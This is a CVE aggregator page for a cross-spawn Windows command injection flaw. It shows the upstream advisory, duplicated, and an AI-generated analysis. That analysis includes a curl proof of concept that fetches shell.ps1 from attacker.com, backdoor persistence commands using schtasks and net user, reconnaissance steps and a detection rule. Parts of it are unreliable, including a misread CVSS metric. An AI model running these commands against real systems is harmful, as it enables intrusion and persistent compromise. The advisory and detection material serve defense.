CVE Professor
/
All CVEs
CVE-2026-137199

CVE-2026-137199 — Cross-spawn — CWE-78

CRITICAL CVSS 9.2 ⚡ EPSS 1.0% GitHub

### Impact On Windows, `cross-spawn` runs commands that aren't executables (`.exe` or `.com`), such as batch files (`.bat` or `.cmd`), through `cmd.exe`, and escapes the command and its arguments for it. A batch file that forwards its arguments, e.g. with `%*`, makes `cmd.exe` parse them a second time. `cross-spawn` only accounted for that second parse when the batch file was an npm cmd-shim located in `node_modules/.bin`. For any other batch file, such as `npm.cmd`, globally installed package shims or user batch files, a crafted argument could break out of its quotes and run arbitrary commands: ```js const spawn = require('cross-spawn'); // Runs calc.exe on Windows spawn.sync('npm', ['" & calc & "']); ``` The following were also affected: - Batch file detection could be bypassed with trailing dots or spaces in the command name (e.g. `tool.bat `), which Windows strips, similar to Node.js' CVE-2024-36138. - `%VAR%` in an argument was expanded if an environment variable named `VAR^` existed. - `!VAR!` in an argument was expanded if delayed expansion was enabled in the registry. Applications are affected if they pass untrusted input as arguments to a command that runs through `cmd.exe` on Windows. Other platforms aren't affected, and neither is `options.shell`, which doesn't escape the command or its arguments by design. ### Patches This is fixed in `7.1.0` and `6.0.7`. Batch file arguments are now escaped with double quotes, like Rust does since the BatBadBut vulnerability (CVE-2024-24576), `%` is neutralized, `cmd.exe` runs with `/e:on /v:off`, batch files are detected after stripping trailing dots and spaces, and line breaks, which `cmd.exe` can't escape, are rejected with a `TypeError`. Some limitations can't be fixed by any escaping, such as batch files that use `%~1` unquoted. Please see the "Windows argument escaping" section of the README. ### Workarounds Validate untrusted input so that only a safe subset is allowed, and call executables directly rather than through batch files. ### Credits Thanks to Duong Bui Thai ([LinkedIn](https://www.linkedin.com/in/thaiducng/)) for privately reporting the quote breakout through batch files outside `node_modules/.bin` and the `!VAR!` expansion under delayed expansion, and to @mohd-akram for publicly reporting the batch file injection in #171.

### Impact On Windows, `cross-spawn` runs commands that aren't executables (`.exe` or `.com`), such as batch files (`.bat` or `.cmd`), through `cmd.exe`, and escapes the command and its arguments for it. A batch file that forwards its arguments, e.g. with `%*`, makes `cmd.exe` parse them a second time. `cross-spawn` only accounted for that second parse when the batch file was an npm cmd-shim located in `node_modules/.bin`. For any other batch file, such as `npm.cmd`, globally installed package shims or user batch files, a crafted argument could break out of its quotes and run arbitrary commands: ```js const spawn = require('cross-spawn'); // Runs calc.exe on Windows spawn.sync('npm', ['" & calc & "']); ``` The following were also affected: - Batch file detection could be bypassed with trailing dots or spaces in the command name (e.g. `tool.bat `), which Windows strips, similar to Node.js' CVE-2024-36138. - `%VAR%` in an argument was expanded if an environment variable named `VAR^` existed. - `!VAR!` in an argument was expanded if delayed expansion was enabled in the registry. Applications are affected if they pass untrusted input as arguments to a command that runs through `cmd.exe` on Windows. Other platforms aren't affected, and neither is `options.shell`, which doesn't escape the command or its arguments by design. ### Patches This is fixed in `7.1.0` and `6.0.7`. Batch file arguments are now escaped with double quotes, like Rust does since the BatBadBut vulnerability (CVE-2024-24576), `%` is neutralized, `cmd.exe` runs with `/e:on /v:off`, batch files are detected after stripping trailing dots and spaces, and line breaks, which `cmd.exe` can't escape, are rejected with a `TypeError`. Some limitations can't be fixed by any escaping, such as batch files that use `%~1` unquoted. Please see the "Windows argument escaping" section of the README. ### Workarounds Validate untrusted input so that only a safe subset is allowed, and call executables directly rather than through batch files. ### Credits Thanks to Duong Bui Thai ([LinkedIn](https://www.linkedin.com/in/thaiducng/)) for privately reporting the quote breakout through batch files outside `node_modules/.bin` and the `!VAR!` expansion under delayed expansion, and to @mohd-akram for publicly reporting the batch file injection in #171.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Attack Vector Network AV:N
Attack Complexity High AC:H
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
EPSS — Exploit Prediction Scoring System
1.0%
30-day probability
In the 64. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-137199 is a Command Injection (CWE-78) vulnerability in the cross-spawn library, a widely used Node.js package for cross-platform process spawning.

The core technical flaw lies in incomplete sanitization of arguments passed to cmd.exe on Windows. Specifically, cross-spawn fails to account for the secondary parsing phase that occurs when cmd.exe executes a batch file (.bat or .cmd).

1. Primary Parse: When cross-spawn invokes a command, it escapes arguments to prevent direct injection into the initial cmd.exe call.
2. Secondary Parse (The Bypass): If the target command is a shim (e.g., npm.cmd, npx.cmd, or a globally installed package's .cmd file), cmd.exe executes that batch file. The batch file then forwards the arguments to the actual executable (e.g., node.exe). During this forwarding, cmd.exe performs a second parse of the arguments.
3. The Flaw: cross-spawn's escaping logic did not neutralize characters that remain dangerous during this second parse. Specifically:
* Quote Breakout: Crafted arguments can break out of the quoting context established by the batch file, allowing injection of new commands.
* Variable Expansion Bypass:
* Percent Variables (%VAR%): If an argument contains %VAR% and an environment variable named VAR^ (with a trailing caret) exists, cmd.exe may expand it unexpectedly.
* Exclamation Variables (!VAR!): If delayed expansion is enabled (via registry or setlocal enabledelayedexpansion), !VAR! in arguments can be expanded, leading to injection.
* Detection Bypass: Trailing dots or spaces in filenames can bypass cross-spawn's internal check for whether a file is a batch file, causing it to apply incorrect escaping logic.

CVSS 4.0 Vector Analysis:

  • AV:N / PR:N / UI:N: Network-exploitable, no authentication required, no user interaction.

  • AC:H / AT:P: High complexity due to the specific Windows parsing quirks and the need to bypass detection heuristics. AT:P (Attack Target: Privileged) indicates the target system likely runs with elevated privileges (common for CI/CD runners, build servers, or admin-managed Node.js services).

  • VC:H / VI:H / VA:H: High impact on Confidentiality, Integrity, and Availability of the vulnerable system.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: Identify Node.js applications running on Windows. Look for:
  • * package.json files in web-accessible directories (if misconfigured). * Error messages revealing Node.js stack traces. * Use of npm, npx, or globally installed CLI tools in server-side scripts.
  • Version Check: Determine the version of cross-spawn in use. This can be done by:
  • * Inspecting node_modules/cross-spawn/package.json if accessible. * Triggering verbose error logs that might reveal dependency versions. * Assuming older versions (< 6.0.7 or < 7.1.0) are vulnerable if the application was deployed before the fix date.

    2. Exploitation

    The attacker must inject a payload into an argument that is passed to a command executed via cross-spawn on Windows. The command must be a .cmd or .bat file (e.g., npm, npx, or a custom script).

    Illustrative Scenario:
    A Node.js application uses cross-spawn to run npm install <user-input> or npx <user-input>. The attacker controls the <user-input>.

    Payload Construction (Windows cmd.exe Quirks):
    To break out of the batch file's argument context, the attacker can use a combination of quotes and special characters. A common technique involves using & or | after breaking out of the quote.

    Example Payload (Illustrative):

    " & whoami & "

    However, due to the secondary parse, a more robust payload might leverage variable expansion or specific quote handling. For instance, if the batch file wraps arguments in quotes, the attacker can inject a closing quote, a command separator, and a new command.

    Realistic PoC (Hypothetical Endpoint):
    Assume a vulnerable endpoint /run-script that takes a script parameter and executes npx <script>.

    # Attacker sends a crafted argument
    curl -X POST "http://target.com/run-script" \
      -H "Content-Type: application/json" \
      -d '{"script": "\" & curl http://attacker.com/shell.ps1 -o C:\\temp\\shell.ps1 & \""}'

    Mechanism:
    1. cross-spawn escapes the argument, but fails to neutralize the & in the context of the secondary parse.
    2. cmd.exe executes npx.cmd.
    3. npx.cmd forwards the argument to node.exe.
    4. During forwarding, cmd.exe parses the argument again. The & is interpreted as a command separator.
    5. whoami (or curl) is executed with the privileges of the Node.js process.

    Alternative Bypass (Trailing Dot/Space):
    If cross-spawn detects a batch file by checking the extension, an attacker might use a filename like malicious.cmd. (trailing dot) or malicious.cmd (trailing space) to bypass detection, causing cross-spawn to apply non-batch escaping, which is then vulnerable to injection.

    3. Post-Exploitation

  • Command Execution: The attacker achieves arbitrary command execution on the Windows host.
  • Privilege Escalation: If the Node.js process runs as SYSTEM or Administrator (common in CI/CD or service contexts), the attacker gains full control.
  • Persistence:
  • * Create a scheduled task: schtasks /create /tn "Backdoor" /tr "powershell -enc <base64>" /sc minute /mo 1 * Add a new user: net user backdoor P@ssw0rd /add * Modify node_modules to include a malicious post-install script.
  • Lateral Movement: Use the compromised host to scan the internal network, deploy ransomware, or exfiltrate data.
  • 🌍 Real World Impact

  • Confidentiality (High): Attackers can read sensitive files (API keys, database credentials, source code) from the server.
  • Integrity (High): Attackers can modify application code, configuration files, or database contents.
  • Availability (High): Attackers can delete files, stop services, or deploy ransomware, causing complete system downtime.
  • Practical Consequences:

  • CI/CD Pipelines: If a build server uses cross-spawn to run user-provided scripts or dependencies, an attacker can compromise the entire build pipeline, injecting malicious code into all subsequent builds.

  • Web Applications: Any Node.js web app on Windows that executes external commands based on user input (e.g., file conversion tools, report generators) is at risk.

  • Supply Chain Risk: Since cross-spawn is a dependency of many popular packages (e.g., npm, npx, jest, mocha), the impact is widespread. A single vulnerable dependency can compromise the entire application.
  • 🛡️ Remediation & Mitigation

    1. Upgrade (Primary Fix)

  • Affected Versions: cross-spawn < 6.0.7 and < 7.1.0.
  • Fixed Versions: cross-spawn 6.0.7 and 7.1.0.
  • Action:
  • npm install cross-spawn@latest
        # Or for specific major versions:
        npm install [email protected]
        npm install [email protected]

    Note: Ensure all transitive dependencies are updated. Use npm audit to verify.

    2. Workarounds (If Upgrade is Not Immediately Possible)

  • Avoid Executing Untrusted Commands: Do not pass user-controlled input directly to cross-spawn or child_process.spawn on Windows.
  • Use node.exe Directly: Instead of invoking .cmd shims, invoke the underlying node.exe executable directly with the script path as an argument. This bypasses the batch file secondary parse.
  • // Instead of:
        // crossSpawn('npm', ['install', userInput]);
        
        // Use:
        const nodePath = process.execPath; // Points to node.exe
        crossSpawn(nodePath, [path.join('node_modules', '.bin', 'npm'), 'install', userInput]);

    Note: This requires careful path resolution and may not work for all tools.

  • Disable Delayed Expansion: If possible, ensure delayed expansion is disabled in the environment where Node.js runs. This mitigates the !VAR! expansion vector.
  • setlocal disabledelayedexpansion
  • Restrict Environment Variables: Remove or rename environment variables that could be exploited via %VAR% expansion.
  • 3. Detection

  • Log Monitoring: Monitor Node.js application logs for unusual command executions. Look for:
  • * Commands containing &, |, >, <, or quotes in arguments. * Execution of whoami, net user, schtasks, or powershell from Node.js processes.
  • File System Monitoring: Alert on:
  • * Creation of new .exe, .ps1, or .bat files in temporary directories (C:\temp, C:\Users\...\AppData\Local\Temp). * Modification of node_modules directories.
  • Network Monitoring: Look for:
  • * Outbound connections to unknown IPs from the Node.js process. * DNS queries for suspicious domains.
  • YARA Rule (Illustrative):
  • rule CrossSpawn_Injection_Pattern {
            strings:
                $cmd_inject = /&\s*(whoami|net|schtasks|powershell|curl|wget)/i
                $var_expand = /%[A-Z_]+%|![A-Z_]+!/
            condition:
                any of them
        }

    ⚠️ Urgency

  • CVSS Score: 9.2 (Critical)
  • CISA KEV: No (as of the provided data)
  • Exploit Complexity: High (AC:H), but the impact is severe.
  • Priority: CRITICAL
* Immediate Action: Upgrade cross-spawn to 6.0.7 or 7.1.0 in all production environments. * Short-Term: If upgrade is not possible, implement workarounds (direct node.exe invocation, disable delayed expansion) and enhance monitoring. * Long-Term: Audit all Node.js applications for use of cross-spawn or child_process with user-controlled input on Windows. Implement strict input validation and avoid executing external commands when possible.

Note: This vulnerability is particularly dangerous in CI/CD pipelines and build servers, where Node.js processes often run with elevated privileges and execute untrusted code. Prioritize patching these environments first.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.2 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
cross-spawn
References & Advisories (4)
Related CVEs
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.0
CVE-2026-145039
SiYuan before 3.8.11 contains a stored cross-site scripting vulnerability in the protyle asset picker's render
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac